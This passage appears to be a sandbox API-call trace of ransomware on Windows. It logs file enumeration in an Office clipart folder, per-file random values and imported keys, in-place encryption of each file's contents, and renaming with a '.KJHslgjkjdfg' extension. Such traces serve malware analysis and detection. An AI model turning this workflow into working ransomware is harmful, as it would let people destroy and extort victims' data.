lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.kjhslgjkjdfg")) returned 1 [0196.476] CloseHandle (hObject=0x130) returned 1 [0196.476] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0196.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.477] GetProcessHeap () returned 0x990000 [0196.477] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.477] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.477] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.479] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.479] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.479] GetProcessHeap () returned 0x990000 [0196.479] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.479] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.479] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.479] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.479] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.480] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.480] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.480] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.480] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.480] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.480] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13ec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13ec, lpOverlapped=0x0) returned 1 [0196.481] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13f0, dwBufLen=0x13f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13f0) returned 1 [0196.481] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.481] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13f0, lpOverlapped=0x0) returned 1 [0196.482] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.482] SetEndOfFile (hFile=0x130) returned 1 [0196.484] GetProcessHeap () returned 0x990000 [0196.485] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.485] GetProcessHeap () returned 0x990000 [0196.485] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.kjhslgjkjdfg")) returned 1 [0196.553] CloseHandle (hObject=0x130) returned 1 [0196.553] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0196.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.554] GetProcessHeap () returned 0x990000 [0196.554] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.554] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.555] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0196.557] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.557] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.557] GetProcessHeap () returned 0x990000 [0196.557] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.557] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.557] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.557] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.557] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.558] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.558] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.558] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.558] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.558] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.558] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6196, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6196, lpOverlapped=0x0) returned 1 [0196.559] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x61a0, dwBufLen=0x61a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x61a0) returned 1 [0196.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.560] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x61a0, lpOverlapped=0x0) returned 1 [0196.560] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.560] SetEndOfFile (hFile=0x130) returned 1 [0196.563] GetProcessHeap () returned 0x990000 [0196.563] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.563] GetProcessHeap () returned 0x990000 [0196.563] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174952.jpg.kjhslgjkjdfg")) returned 1 [0196.566] CloseHandle (hObject=0x130) returned 1 [0196.566] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0196.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.567] GetProcessHeap () returned 0x990000 [0196.567] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.567] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.567] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.567] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0196.569] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.569] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.569] GetProcessHeap () returned 0x990000 [0196.569] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.570] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.570] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.570] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.570] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.570] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.570] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.570] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.570] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.570] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb57d, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb57d, lpOverlapped=0x0) returned 1 [0196.572] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb580, dwBufLen=0xb580 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb580) returned 1 [0196.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.573] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb580, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb580, lpOverlapped=0x0) returned 1 [0196.573] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.573] SetEndOfFile (hFile=0x130) returned 1 [0196.576] GetProcessHeap () returned 0x990000 [0196.576] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.576] GetProcessHeap () returned 0x990000 [0196.576] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg.kjhslgjkjdfg")) returned 1 [0196.578] CloseHandle (hObject=0x130) returned 1 [0196.578] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0196.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.579] GetProcessHeap () returned 0x990000 [0196.579] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.579] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.579] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.581] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.581] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.581] GetProcessHeap () returned 0x990000 [0196.581] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.581] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.581] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.581] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.581] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.582] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.582] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.582] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.582] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x38d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x38d8, lpOverlapped=0x0) returned 1 [0196.583] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38e0, dwBufLen=0x38e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x38e0) returned 1 [0196.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.583] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x38e0, lpOverlapped=0x0) returned 1 [0196.583] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x39b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.583] SetEndOfFile (hFile=0x130) returned 1 [0196.585] GetProcessHeap () returned 0x990000 [0196.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.585] GetProcessHeap () returned 0x990000 [0196.585] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.kjhslgjkjdfg")) returned 1 [0196.587] CloseHandle (hObject=0x130) returned 1 [0196.587] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0196.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.590] GetProcessHeap () returned 0x990000 [0196.590] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.590] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.590] WriteFile (in: hFile=0x130, 